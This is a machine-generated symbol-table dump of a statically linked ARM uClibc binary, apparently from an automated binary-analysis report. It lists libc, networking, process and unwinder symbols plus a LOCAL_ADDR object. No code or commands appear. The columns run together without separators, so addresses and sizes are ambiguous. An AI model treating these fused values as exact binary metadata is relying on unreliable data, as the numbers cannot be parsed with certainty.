          $d.symtab0x17ce80NOTYPE<unknown>DEFAULT2
          $d.symtab0x17d740NOTYPE<unknown>DEFAULT2
          $d.symtab0x17de40NOTYPE<unknown>DEFAULT2
          $d.symtab0x17edc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x17fc00NOTYPE<unknown>DEFAULT2
          $d.symtab0x180800NOTYPE<unknown>DEFAULT2
          $d.symtab0x181340NOTYPE<unknown>DEFAULT2
          $d.symtab0x218840NOTYPE<unknown>DEFAULT4
          $d.symtab0x182100NOTYPE<unknown>DEFAULT2
          $d.symtab0x182400NOTYPE<unknown>DEFAULT2
          $d.symtab0x182740NOTYPE<unknown>DEFAULT2
          $d.symtab0x183c80NOTYPE<unknown>DEFAULT2
          $d.symtab0x1843c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x184800NOTYPE<unknown>DEFAULT2
          $d.symtab0x184c40NOTYPE<unknown>DEFAULT2
          $d.symtab0x185380NOTYPE<unknown>DEFAULT2
          $d.symtab0x1857c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x185c40NOTYPE<unknown>DEFAULT2
          $d.symtab0x186080NOTYPE<unknown>DEFAULT2
          $d.symtab0x186480NOTYPE<unknown>DEFAULT2
          $d.symtab0x186b80NOTYPE<unknown>DEFAULT2
          $d.symtab0x187040NOTYPE<unknown>DEFAULT2
          $d.symtab0x187880NOTYPE<unknown>DEFAULT2
          $d.symtab0x187cc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x1883c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x188880NOTYPE<unknown>DEFAULT2
          $d.symtab0x189100NOTYPE<unknown>DEFAULT2
          $d.symtab0x189580NOTYPE<unknown>DEFAULT2
          $d.symtab0x1899c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x189f00NOTYPE<unknown>DEFAULT2
          $d.symtab0x18ac00NOTYPE<unknown>DEFAULT2
          $d.symtab0x194c40NOTYPE<unknown>DEFAULT2
          $d.symtab0x2a0cc0NOTYPE<unknown>DEFAULT13
          $d.symtab0x1960c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x199c80NOTYPE<unknown>DEFAULT2
          $d.symtab0x19e6c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x19ec00NOTYPE<unknown>DEFAULT2
          $d.symtab0x19fdc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x2a0e40NOTYPE<unknown>DEFAULT13
          $d.symtab0x1a0900NOTYPE<unknown>DEFAULT2
          $d.symtab0x1a1480NOTYPE<unknown>DEFAULT2
          $d.symtab0x1a2080NOTYPE<unknown>DEFAULT2
          $d.symtab0x1a2ac0NOTYPE<unknown>DEFAULT2
          $d.symtab0x2a0fc0NOTYPE<unknown>DEFAULT13
          $d.symtab0x2a1940NOTYPE<unknown>DEFAULT13
          $d.symtab0x1a3540NOTYPE<unknown>DEFAULT2
          $d.symtab0x1a4240NOTYPE<unknown>DEFAULT2
          $d.symtab0x1a5180NOTYPE<unknown>DEFAULT2
          $d.symtab0x1a6080NOTYPE<unknown>DEFAULT2
          $d.symtab0x2189c0NOTYPE<unknown>DEFAULT4
          $d.symtab0x1a8180NOTYPE<unknown>DEFAULT2
          $d.symtab0x1a8cc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x2a1a80NOTYPE<unknown>DEFAULT13
          $d.symtab0x1aa140NOTYPE<unknown>DEFAULT2
          $d.symtab0x1b0300NOTYPE<unknown>DEFAULT2
          $d.symtab0x1b4000NOTYPE<unknown>DEFAULT2
          $d.symtab0x1b5ec0NOTYPE<unknown>DEFAULT2
          $d.symtab0x1b7180NOTYPE<unknown>DEFAULT2
          $d.symtab0x1b7300NOTYPE<unknown>DEFAULT2
          $d.symtab0x1b7c00NOTYPE<unknown>DEFAULT2
          $d.symtab0x1b8500NOTYPE<unknown>DEFAULT2
          $d.symtab0x1b8e00NOTYPE<unknown>DEFAULT2
          $d.symtab0x1bacc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x1bb800NOTYPE<unknown>DEFAULT2
          $d.symtab0x1bbe00NOTYPE<unknown>DEFAULT2
          $d.symtab0x1bc340NOTYPE<unknown>DEFAULT2
          $d.symtab0x1bfe00NOTYPE<unknown>DEFAULT2
          $d.symtab0x2a1c00NOTYPE<unknown>DEFAULT13
          $d.symtab0x1c0a00NOTYPE<unknown>DEFAULT2
          $d.symtab0x1c0d00NOTYPE<unknown>DEFAULT2
          $d.symtab0x1c1500NOTYPE<unknown>DEFAULT2
          $d.symtab0x1c1cc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x1c2300NOTYPE<unknown>DEFAULT2
          $d.symtab0x1c2980NOTYPE<unknown>DEFAULT2
          $d.symtab0x1c3380NOTYPE<unknown>DEFAULT2
          $d.symtab0x1c3c40NOTYPE<unknown>DEFAULT2
          $d.symtab0x1c4000NOTYPE<unknown>DEFAULT2
          $d.symtab0x1c4400NOTYPE<unknown>DEFAULT2
          $d.symtab0x1c4980NOTYPE<unknown>DEFAULT2
          $d.symtab0x1c4d80NOTYPE<unknown>DEFAULT2
          $d.symtab0x1c5180NOTYPE<unknown>DEFAULT2
          $d.symtab0x1c5740NOTYPE<unknown>DEFAULT2
          $d.symtab0x1c5e00NOTYPE<unknown>DEFAULT2
          $d.symtab0x1c84c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x1cbfc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x1cf240NOTYPE<unknown>DEFAULT2
          $d.symtab0x1d3800NOTYPE<unknown>DEFAULT2
          $d.symtab0x1d4240NOTYPE<unknown>DEFAULT2
          $d.symtab0x1d57c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x2a1d80NOTYPE<unknown>DEFAULT13
          $d.symtab0x2a1d40NOTYPE<unknown>DEFAULT13
          $d.symtab0x1dabc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x1de6c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x1dfa80NOTYPE<unknown>DEFAULT2
          $d.symtab0x1e6480NOTYPE<unknown>DEFAULT2
          $d.symtab0x1e7340NOTYPE<unknown>DEFAULT2
          $d.symtab0x1e8b80NOTYPE<unknown>DEFAULT2
          $d.symtab0x1e9ac0NOTYPE<unknown>DEFAULT2
          $d.symtab0x1ea140NOTYPE<unknown>DEFAULT2
          $d.symtab0x1ea840NOTYPE<unknown>DEFAULT2
          $d.symtab0x1ecc00NOTYPE<unknown>DEFAULT2
          $d.symtab0x1ed200NOTYPE<unknown>DEFAULT2
          $d.symtab0x1edd00NOTYPE<unknown>DEFAULT2
          $d.symtab0x1ef280NOTYPE<unknown>DEFAULT2
          $d.symtab0x1f0600NOTYPE<unknown>DEFAULT2
          $d.symtab0x1f1340NOTYPE<unknown>DEFAULT2
          $d.symtab0x1f2080NOTYPE<unknown>DEFAULT2
          $d.symtab0x2c0NOTYPE<unknown>DEFAULT21
          $d.symtab0x4c0NOTYPE<unknown>DEFAULT21
          $d.symtab0x530NOTYPE<unknown>DEFAULT21
          $d.symtab0x1f63c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x1ffe40NOTYPE<unknown>DEFAULT2
          $d.symtab0x580NOTYPE<unknown>DEFAULT21
          $d.symtab0x00NOTYPE<unknown>DEFAULT23
          $d.symtab0x23c0NOTYPE<unknown>DEFAULT21
          $d.symtab0xe390NOTYPE<unknown>DEFAULT23
          $d.symtab0x2a1cc0NOTYPE<unknown>DEFAULT13
          $d.symtab0x2192c0NOTYPE<unknown>DEFAULT4
          C.11.5548.symtab0x2190812OBJECT<unknown>DEFAULT4
          C.42.5033.symtab0x214643OBJECT<unknown>DEFAULT4
          C.43.5034.symtab0x2145b9OBJECT<unknown>DEFAULT4
          C.5.5083.symtab0x2188424OBJECT<unknown>DEFAULT4
          C.7.5370.symtab0x2191412OBJECT<unknown>DEFAULT4
          C.7.6109.symtab0x21c5012OBJECT<unknown>DEFAULT4
          C.7.6182.symtab0x21c2c12OBJECT<unknown>DEFAULT4
          C.8.6110.symtab0x21c4412OBJECT<unknown>DEFAULT4
          C.86.6089.symtab0x20c8c1024OBJECT<unknown>DEFAULT4
          C.9.6119.symtab0x21c3812OBJECT<unknown>DEFAULT4
          LOCAL_ADDR.symtab0x2ce944OBJECT<unknown>DEFAULT14
          Laligned.symtab0x1e5280NOTYPE<unknown>DEFAULT2
          Llastword.symtab0x1e5440NOTYPE<unknown>DEFAULT2
          _Exit.symtab0x1c1d0104FUNC<unknown>DEFAULT2
          _GLOBAL_OFFSET_TABLE_.symtab0x2a0100OBJECT<unknown>HIDDEN12
          _Jv_RegisterClasses.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
          _READ.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          _Unwind_Complete.symtab0x1f3f04FUNC<unknown>HIDDEN2
          _Unwind_DeleteException.symtab0x1f3f444FUNC<unknown>HIDDEN2
          _Unwind_ForcedUnwind.symtab0x200a436FUNC<unknown>HIDDEN2
          _Unwind_GetCFA.symtab0x1f3e88FUNC<unknown>HIDDEN2
          _Unwind_GetDataRelBase.symtab0x1f42c12FUNC<unknown>HIDDEN2
          _Unwind_GetLanguageSpecificData.symtab0x200c868FUNC<unknown>HIDDEN2
          _Unwind_GetRegionStart.symtab0x2086852FUNC<unknown>HIDDEN2
          _Unwind_GetTextRelBase.symtab0x1f42012FUNC<unknown>HIDDEN2
          _Unwind_RaiseException.symtab0x2003836FUNC<unknown>HIDDEN2
          _Unwind_Resume.symtab0x2005c36FUNC<unknown>HIDDEN2
          _Unwind_Resume_or_Rethrow.symtab0x2008036FUNC<unknown>HIDDEN2
          _Unwind_VRS_Get.symtab0x1f35076FUNC<unknown>HIDDEN2
          _Unwind_VRS_Pop.symtab0x1f968324FUNC<unknown>HIDDEN2
          _Unwind_VRS_Set.symtab0x1f39c76FUNC<unknown>HIDDEN2
          _WRITE.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          __C_ctype_b.symtab0x2a1cc4OBJECT<unknown>DEFAULT13
          __C_ctype_b.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          __C_ctype_b_data.symtab0x2192c768OBJECT<unknown>DEFAULT4
          __EH_FRAME_BEGIN__.symtab0x2a0000OBJECT<unknown>DEFAULT7
          __FRAME_END__.symtab0x2a0000OBJECT<unknown>DEFAULT7
          __GI___C_ctype_b.symtab0x2a1cc4OBJECT<unknown>HIDDEN13
          __GI___close.symtab0x1b750100FUNC<unknown>HIDDEN2
          __GI___close_nocancel.symtab0x1b73424FUNC<unknown>HIDDEN2
          __GI___ctype_b.symtab0x2a1d04OBJECT<unknown>HIDDEN13
          __GI___errno_location.symtab0x1822432FUNC<unknown>HIDDEN2
          __GI___fcntl_nocancel.symtab0x178a8152FUNC<unknown>HIDDEN2
          __GI___fgetc_unlocked.symtab0x1de84300FUNC<unknown>HIDDEN2
          __GI___libc_close.symtab0x1b750100FUNC<unknown>HIDDEN2
          __GI___libc_fcntl.symtab0x17940244FUNC<unknown>HIDDEN2
          __GI___libc_open.symtab0x1b7e0100FUNC<unknown>HIDDEN2
          __GI___libc_read.symtab0x1b900100FUNC<unknown>HIDDEN2
          __GI___libc_write.symtab0x1b870100FUNC<unknown>HIDDEN2
          __GI___open.symtab0x1b7e0100FUNC<unknown>HIDDEN2
          __GI___open_nocancel.symtab0x1b7c424FUNC<unknown>HIDDEN2
          __GI___read.symtab0x1b900100FUNC<unknown>HIDDEN2
          __GI___read_nocancel.symtab0x1b8e424FUNC<unknown>HIDDEN2
          __GI___sigaddset.symtab0x18af036FUNC<unknown>HIDDEN2
          __GI___sigdelset.symtab0x18b1436FUNC<unknown>HIDDEN2
          __GI___sigismember.symtab0x18acc36FUNC<unknown>HIDDEN2
          __GI___uClibc_fini.symtab0x1bb18124FUNC<unknown>HIDDEN2
          __GI___uClibc_init.symtab0x1bbe888FUNC<unknown>HIDDEN2
          __GI___write.symtab0x1b870100FUNC<unknown>HIDDEN2
          __GI___write_nocancel.symtab0x1b85424FUNC<unknown>HIDDEN2
          __GI__exit.symtab0x1c1d0104FUNC<unknown>HIDDEN2
          __GI_abort.symtab0x19ec8296FUNC<unknown>HIDDEN2
          __GI_accept.symtab0x183d0116FUNC<unknown>HIDDEN2
          __GI_atoi.symtab0x1a61432FUNC<unknown>HIDDEN2
          __GI_bind.symtab0x1844468FUNC<unknown>HIDDEN2
          __GI_brk.symtab0x1ed8488FUNC<unknown>HIDDEN2
          __GI_close.symtab0x1b750100FUNC<unknown>HIDDEN2
          __GI_closedir.symtab0x17de8272FUNC<unknown>HIDDEN2
          __GI_config_close.symtab0x1cb8852FUNC<unknown>HIDDEN2
          __GI_config_open.symtab0x1cbbc72FUNC<unknown>HIDDEN2
          __GI_config_read.symtab0x1c860808FUNC<unknown>HIDDEN2
          __GI_connect.symtab0x184cc116FUNC<unknown>HIDDEN2
          __GI_exit.symtab0x1a828196FUNC<unknown>HIDDEN2
          __GI_fclose.symtab0x1cc04816FUNC<unknown>HIDDEN2
          __GI_fcntl.symtab0x17940244FUNC<unknown>HIDDEN2
          __GI_fflush_unlocked.symtab0x1dad8940FUNC<unknown>HIDDEN2
          __GI_fgetc.symtab0x1d5c8324FUNC<unknown>HIDDEN2
          __GI_fgetc_unlocked.symtab0x1de84300FUNC<unknown>HIDDEN2
          __GI_fgets.symtab0x1d70c284FUNC<unknown>HIDDEN2
          __GI_fgets_unlocked.symtab0x1dfb0160FUNC<unknown>HIDDEN2
          __GI_fopen.symtab0x1cf3432FUNC<unknown>HIDDEN2
          __GI_fork.symtab0x1b05c972FUNC<unknown>HIDDEN2
          __GI_fstat.symtab0x1c238100FUNC<unknown>HIDDEN2
          __GI_getc_unlocked.symtab0x1de84300FUNC<unknown>HIDDEN2
          __GI_getdtablesize.symtab0x1c33c44FUNC<unknown>HIDDEN2
          __GI_getegid.symtab0x1c36820FUNC<unknown>HIDDEN2
          __GI_geteuid.symtab0x1c37c20FUNC<unknown>HIDDEN2
          __GI_getgid.symtab0x1c39020FUNC<unknown>HIDDEN2
          __GI_getpagesize.symtab0x1c3a440FUNC<unknown>HIDDEN2
          __GI_getpid.symtab0x1b4c072FUNC<unknown>HIDDEN2
          __GI_getrlimit.symtab0x1c3cc56FUNC<unknown>HIDDEN2
          __GI_getsockname.symtab0x1854068FUNC<unknown>HIDDEN2
          __GI_gettimeofday.symtab0x1c40464FUNC<unknown>HIDDEN2
          __GI_getuid.symtab0x1c44420FUNC<unknown>HIDDEN2
          __GI_inet_addr.symtab0x1836440FUNC<unknown>HIDDEN2
          __GI_inet_aton.symtab0x1e8bc248FUNC<unknown>HIDDEN2
          __GI_initstate_r.symtab0x1a430248FUNC<unknown>HIDDEN2
          __GI_ioctl.symtab0x17a48224FUNC<unknown>HIDDEN2
          __GI_isatty.symtab0x1e81c36FUNC<unknown>HIDDEN2
          __GI_kill.symtab0x17b2856FUNC<unknown>HIDDEN2
          __GI_listen.symtab0x185cc64FUNC<unknown>HIDDEN2
          __GI_lseek64.symtab0x1f19c112FUNC<unknown>HIDDEN2
          __GI_memcpy.symtab0x182804FUNC<unknown>HIDDEN2
          __GI_memmove.symtab0x182904FUNC<unknown>HIDDEN2
          __GI_mempcpy.symtab0x1f13836FUNC<unknown>HIDDEN2
          __GI_memset.symtab0x182a0156FUNC<unknown>HIDDEN2
          __GI_mmap.symtab0x1c02c124FUNC<unknown>HIDDEN2
          __GI_mremap.symtab0x1c45868FUNC<unknown>HIDDEN2
          __GI_munmap.symtab0x1c49c64FUNC<unknown>HIDDEN2
          __GI_nanosleep.symtab0x1c51c96FUNC<unknown>HIDDEN2
          __GI_open.symtab0x1b7e0100FUNC<unknown>HIDDEN2
          __GI_opendir.symtab0x17fc8196FUNC<unknown>HIDDEN2
          __GI_raise.symtab0x1b508240FUNC<unknown>HIDDEN2
          __GI_random.symtab0x1a008164FUNC<unknown>HIDDEN2
          __GI_random_r.symtab0x1a2c8144FUNC<unknown>HIDDEN2
          __GI_read.symtab0x1b900100FUNC<unknown>HIDDEN2
          __GI_readdir.symtab0x1813c232FUNC<unknown>HIDDEN2
          __GI_readdir64.symtab0x1c774236FUNC<unknown>HIDDEN2
          __GI_readlink.symtab0x17ba464FUNC<unknown>HIDDEN2
          __GI_recv.symtab0x18650112FUNC<unknown>HIDDEN2
          __GI_recvfrom.symtab0x18708136FUNC<unknown>HIDDEN2
          __GI_sbrk.symtab0x1c57c108FUNC<unknown>HIDDEN2
          __GI_select.symtab0x17c28132FUNC<unknown>HIDDEN2
          __GI_send.symtab0x187d4112FUNC<unknown>HIDDEN2
          __GI_sendto.symtab0x18890136FUNC<unknown>HIDDEN2
          __GI_setsid.symtab0x17cac64FUNC<unknown>HIDDEN2
          __GI_setsockopt.symtab0x1891872FUNC<unknown>HIDDEN2
          __GI_setstate_r.symtab0x1a528236FUNC<unknown>HIDDEN2
          __GI_sigaction.symtab0x1c0d4136FUNC<unknown>HIDDEN2
          __GI_sigaddset.symtab0x189a480FUNC<unknown>HIDDEN2
          __GI_sigemptyset.symtab0x189f420FUNC<unknown>HIDDEN2
          __GI_signal.symtab0x18a08196FUNC<unknown>HIDDEN2
          __GI_sigprocmask.symtab0x17cec140FUNC<unknown>HIDDEN2
          __GI_sleep.symtab0x1b5f8300FUNC<unknown>HIDDEN2
          __GI_socket.symtab0x1896068FUNC<unknown>HIDDEN2
          __GI_srandom_r.symtab0x1a358216FUNC<unknown>HIDDEN2
          __GI_strchr.symtab0x1e560240FUNC<unknown>HIDDEN2
          __GI_strchrnul.symtab0x1e650236FUNC<unknown>HIDDEN2
          __GI_strcmp.symtab0x1e4e028FUNC<unknown>HIDDEN2
          __GI_strcoll.symtab0x1e4e028FUNC<unknown>HIDDEN2
          __GI_strcpy.symtab0x1834036FUNC<unknown>HIDDEN2
          __GI_strcspn.symtab0x1e73c68FUNC<unknown>HIDDEN2
          __GI_strlen.symtab0x1e50096FUNC<unknown>HIDDEN2
          __GI_strrchr.symtab0x1e78080FUNC<unknown>HIDDEN2
          __GI_strspn.symtab0x1e7d076FUNC<unknown>HIDDEN2
          __GI_strtol.symtab0x1a63428FUNC<unknown>HIDDEN2
          __GI_sysconf.symtab0x1aa381572FUNC<unknown>HIDDEN2
          __GI_tcgetattr.symtab0x1e840124FUNC<unknown>HIDDEN2
          __GI_time.symtab0x17d7848FUNC<unknown>HIDDEN2
          __GI_times.symtab0x1c5e820FUNC<unknown>HIDDEN2
          __GI_unlink.symtab0x17da864FUNC<unknown>HIDDEN2
          __GI_write.symtab0x1b870100FUNC<unknown>HIDDEN2
          __JCR_END__.symtab0x2a00c0OBJECT<unknown>DEFAULT11
          __JCR_LIST__.symtab0x2a00c0OBJECT<unknown>DEFAULT11
          ___Unwind_ForcedUnwind.symtab0x200a436FUNC<unknown>HIDDEN2
          ___Unwind_RaiseException.symtab0x2003836FUNC<unknown>HIDDEN2
          ___Unwind_Resume.symtab0x2005c36FUNC<unknown>HIDDEN2
          ___Unwind_Resume_or_Rethrow.symtab0x2008036FUNC<unknown>HIDDEN2
          __aeabi_idiv.symtab0x1f20c0FUNC<unknown>HIDDEN2
          __aeabi_idivmod.symtab0x1f33824FUNC<unknown>HIDDEN2
          __aeabi_read_tp.symtab0x1c1808FUNC<unknown>DEFAULT2
          __aeabi_uidiv.symtab0x177800FUNC<unknown>HIDDEN2
          __aeabi_uidivmod.symtab0x1787c24FUNC<unknown>HIDDEN2
          __aeabi_unwind_cpp_pr0.symtab0x200048FUNC<unknown>HIDDEN2
          __aeabi_unwind_cpp_pr1.symtab0x1fffc8FUNC<unknown>HIDDEN2
          __aeabi_unwind_cpp_pr2.symtab0x1fff48FUNC<unknown>HIDDEN2
          __app_fini.symtab0x2a92c4OBJECT<unknown>HIDDEN14
          __atexit_lock.symtab0x2a1a824OBJECT<unknown>DEFAULT13
          __bss_end__.symtab0x2d36c0NOTYPE<unknown>DEFAULTSHN_ABS
          __bss_start.symtab0x2a2bc0NOTYPE<unknown>DEFAULTSHN_ABS
          __bss_start__.symtab0x2a2bc0NOTYPE<unknown>DEFAULTSHN_ABS
          __check_one_fd.symtab0x1bb9484FUNC<unknown>DEFAULT2
          __close.symtab0x1b750100FUNC<unknown>DEFAULT2
          __close_nocancel.symtab0x1b73424FUNC<unknown>DEFAULT2
          __ctype_b.symtab0x2a1d04OBJECT<unknown>DEFAULT13
          __curbrk.symtab0x2ce904OBJECT<unknown>HIDDEN14
          __cxa_begin_cleanup.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
          __cxa_call_unexpected.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
          __cxa_type_match.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
          __data_start.symtab0x2a0b80NOTYPE<unknown>DEFAULT13
          __default_rt_sa_restorer.symtab0x1c1740FUNC<unknown>DEFAULT2
          __default_sa_restorer.symtab0x1c1680FUNC<unknown>DEFAULT2
          __deregister_frame_info.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
          __div0.symtab0x1789420FUNC<unknown>HIDDEN2
          __divsi3.symtab0x1f20c300FUNC<unknown>HIDDEN2
          __do_global_dtors_aux.symtab0x80f00FUNC<unknown>DEFAULT2
          __do_global_dtors_aux_fini_array_entry.symtab0x2a0080OBJECT<unknown>DEFAULT10
          __end__.symtab0x2d36c0NOTYPE<unknown>DEFAULTSHN_ABS
          __environ.symtab0x2a9244OBJECT<unknown>DEFAULT14
          __errno_location.symtab0x1822432FUNC<unknown>DEFAULT2
          __errno_location.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          __exidx_end.symtab0x21d8c0NOTYPE<unknown>DEFAULTSHN_ABS
          __exidx_start.symtab0x21c740NOTYPE<unknown>DEFAULTSHN_ABS
          __exit_cleanup.symtab0x2a3d44OBJECT<unknown>HIDDEN14
          __fcntl_nocancel.symtab0x178a8152FUNC<unknown>DEFAULT2
          __fgetc_unlocked.symtab0x1de84300FUNC<unknown>DEFAULT2
          __fini_array_end.symtab0x2a00c0NOTYPE<unknown>HIDDEN10
          __fini_array_start.symtab0x2a0080NOTYPE<unknown>HIDDEN10
          __fork.symtab0x1b05c972FUNC<unknown>DEFAULT2
          __fork_generation_pointer.symtab0x2d3384OBJECT<unknown>HIDDEN14
          __fork_handlers.symtab0x2d33c4OBJECT<unknown>HIDDEN14
          __fork_lock.symtab0x2a3d84OBJECT<unknown>HIDDEN14
          __frame_dummy_init_array_entry.symtab0x2a0040OBJECT<unknown>DEFAULT9
          __getdents.symtab0x1c29c160FUNC<unknown>HIDDEN2
          __getdents64.symtab0x1ede8328FUNC<unknown>HIDDEN2
          __getpagesize.symtab0x1c3a440FUNC<unknown>DEFAULT2
          __getpid.symtab0x1b4c072FUNC<unknown>DEFAULT2
          __gnu_Unwind_Find_exidx.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
          __gnu_Unwind_ForcedUnwind.symtab0x1f7a828FUNC<unknown>HIDDEN2
          __gnu_Unwind_RaiseException.symtab0x1f890184FUNC<unknown>HIDDEN2
          __gnu_Unwind_Restore_VFP.symtab0x200280FUNC<unknown>HIDDEN2
          __gnu_Unwind_Resume.symtab0x1f824108FUNC<unknown>HIDDEN2
          __gnu_Unwind_Resume_or_Rethrow.symtab0x1f94832FUNC<unknown>HIDDEN2
          __gnu_Unwind_Save_VFP.symtab0x200300FUNC<unknown>HIDDEN2
          __gnu_unwind_execute.symtab0x2010c1812FUNC<unknown>HIDDEN2
          __gnu_unwind_frame.symtab0x2082072FUNC<unknown>HIDDEN2
          __gnu_unwind_pr_common.symtab0x1faac1352FUNC<unknown>DEFAULT2
          __h_errno_location.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
          __init_array_end.symtab0x2a0080NOTYPE<unknown>HIDDEN9
          __init_array_start.symtab0x2a0040NOTYPE<unknown>HIDDEN9
          __libc_accept.symtab0x183d0116FUNC<unknown>DEFAULT2
          __libc_close.symtab0x1b750100FUNC<unknown>DEFAULT2
          __libc_connect.symtab0x184cc116FUNC<unknown>DEFAULT2
          __libc_disable_asynccancel.symtab0x1b970136FUNC<unknown>HIDDEN2
          __libc_enable_asynccancel.symtab0x1b9f8220FUNC<unknown>HIDDEN2
          __libc_errno.symtab0x04TLS<unknown>HIDDEN8
          __libc_fcntl.symtab0x17940244FUNC<unknown>DEFAULT2
          __libc_fork.symtab0x1b05c972FUNC<unknown>DEFAULT2
          __libc_h_errno.symtab0x44TLS<unknown>HIDDEN8
          __libc_multiple_threads.symtab0x2d3404OBJECT<unknown>HIDDEN14
          __libc_nanosleep.symtab0x1c51c96FUNC<unknown>DEFAULT2
          __libc_open.symtab0x1b7e0100FUNC<unknown>DEFAULT2
          __libc_read.symtab0x1b900100FUNC<unknown>DEFAULT2
          __libc_recv.symtab0x18650112FUNC<unknown>DEFAULT2
          __libc_recvfrom.symtab0x18708136FUNC<unknown>DEFAULT2
          __libc_select.symtab0x17c28132FUNC<unknown>DEFAULT2
          __libc_send.symtab0x187d4112FUNC<unknown>DEFAULT2
          __libc_sendto.symtab0x18890136FUNC<unknown>DEFAULT2
          __libc_setup_tls.symtab0x1eab8560FUNC<unknown>DEFAULT2
          __libc_sigaction.symtab0x1c0d4136FUNC<unknown>DEFAULT2
          __libc_stack_end.symtab0x2a9204OBJECT<unknown>DEFAULT14
          __libc_write.symtab0x1b870100FUNC<unknown>DEFAULT2
          __lll_lock_wait_private.symtab0x1b428152FUNC<unknown>HIDDEN2
          __malloc_consolidate.symtab0x19a98436FUNC<unknown>HIDDEN2
          __malloc_largebin_index.symtab0x18b38120FUNC<unknown>DEFAULT2
          __malloc_lock.symtab0x2a0cc24OBJECT<unknown>DEFAULT13
          __malloc_state.symtab0x2cfc0888OBJECT<unknown>DEFAULT14
          __malloc_trim.symtab0x199e8176FUNC<unknown>DEFAULT2
          __nptl_deallocate_tsd.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
          __nptl_nthreads.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
          __open.symtab0x1b7e0100FUNC<unknown>DEFAULT2
          __open_nocancel.symtab0x1b7c424FUNC<unknown>DEFAULT2
          __pagesize.symtab0x2a9284OBJECT<unknown>DEFAULT14
          __preinit_array_end.symtab0x2a0040NOTYPE<unknown>HIDDEN8
          __preinit_array_start.symtab0x2a0040NOTYPE<unknown>HIDDEN8
          __progname.symtab0x2a1c44OBJECT<unknown>DEFAULT13
          __progname_full.symtab0x2a1c84OBJECT<unknown>DEFAULT13
          __pthread_initialize_minimal.symtab0x1ece812FUNC<unknown>DEFAULT2
          __pthread_mutex_init.symtab0x1badc8FUNC<unknown>DEFAULT2
          __pthread_mutex_lock.symtab0x1bad48FUNC<unknown>DEFAULT2
          __pthread_mutex_trylock.symtab0x1bad48FUNC<unknown>DEFAULT2
          __pthread_mutex_unlock.symtab0x1bad48FUNC<unknown>DEFAULT2
          __pthread_return_0.symtab0x1bad48FUNC<unknown>DEFAULT2
          __pthread_unwind.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
          __read.symtab0x1b900100FUNC<unknown>DEFAULT2
          __read_nocancel.symtab0x1b8e424FUNC<unknown>DEFAULT2
          __register_frame_info.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
          __restore_core_regs.symtab0x2000c28FUNC<unknown>HIDDEN2
          __rtld_fini.symtab0x2a9304OBJECT<unknown>HIDDEN14
          __sigaddset.symtab0x18af036FUNC<unknown>DEFAULT2
          __sigdelset.symtab0x18b1436FUNC<unknown>DEFAULT2
          __sigismember.symtab0x18acc36FUNC<unknown>DEFAULT2
          __sigjmp_save.symtab0x1f15c64FUNC<unknown>HIDDEN2
          __sigsetjmp.symtab0x1eddc12FUNC<unknown>DEFAULT2
          __stdin.symtab0x2a1e44OBJECT<unknown>DEFAULT13
          __stdio_READ.symtab0x1ef3088FUNC<unknown>HIDDEN2
          __stdio_WRITE.symtab0x1ef88220FUNC<unknown>HIDDEN2
          __stdio_rfill.symtab0x1f06448FUNC<unknown>HIDDEN2
          __stdio_trans2r_o.symtab0x1f094164FUNC<unknown>HIDDEN2
          __stdio_wcommit.symtab0x1d59848FUNC<unknown>HIDDEN2
          __stdout.symtab0x2a1e84OBJECT<unknown>DEFAULT13
          __sys_accept.symtab0x1838c68FUNC<unknown>DEFAULT2
          __sys_connect.symtab0x1848868FUNC<unknown>DEFAULT2
          __sys_recv.symtab0x1860c68FUNC<unknown>DEFAULT2
          __sys_recvfrom.symtab0x186c072FUNC<unknown>DEFAULT2
          __sys_send.symtab0x1879068FUNC<unknown>DEFAULT2
          __sys_sendto.symtab0x1884476FUNC<unknown>DEFAULT2
          __syscall_error.symtab0x1c0a844FUNC<unknown>HIDDEN2
          __syscall_error.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          __syscall_fcntl.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          __syscall_nanosleep.symtab0x1c4dc64FUNC<unknown>DEFAULT2
          __syscall_rt_sigaction.symtab0x1c19064FUNC<unknown>DEFAULT2
          __syscall_rt_sigaction.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          __syscall_select.symtab0x17be468FUNC<unknown>DEFAULT2
          __tls_get_addr.symtab0x1ea9436FUNC<unknown>DEFAULT2
          __uClibc_fini.symtab0x1bb18124FUNC<unknown>DEFAULT2
          __uClibc_init.symtab0x1bbe888FUNC<unknown>DEFAULT2
          __uClibc_main.symtab0x1bc401004FUNC<unknown>DEFAULT2
          __uClibc_main.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          __uclibc_progname.symtab0x2a1c04OBJECT<unknown>HIDDEN13
          __udivsi3.symtab0x17780252FUNC<unknown>HIDDEN2
          __write.symtab0x1b870100FUNC<unknown>DEFAULT2
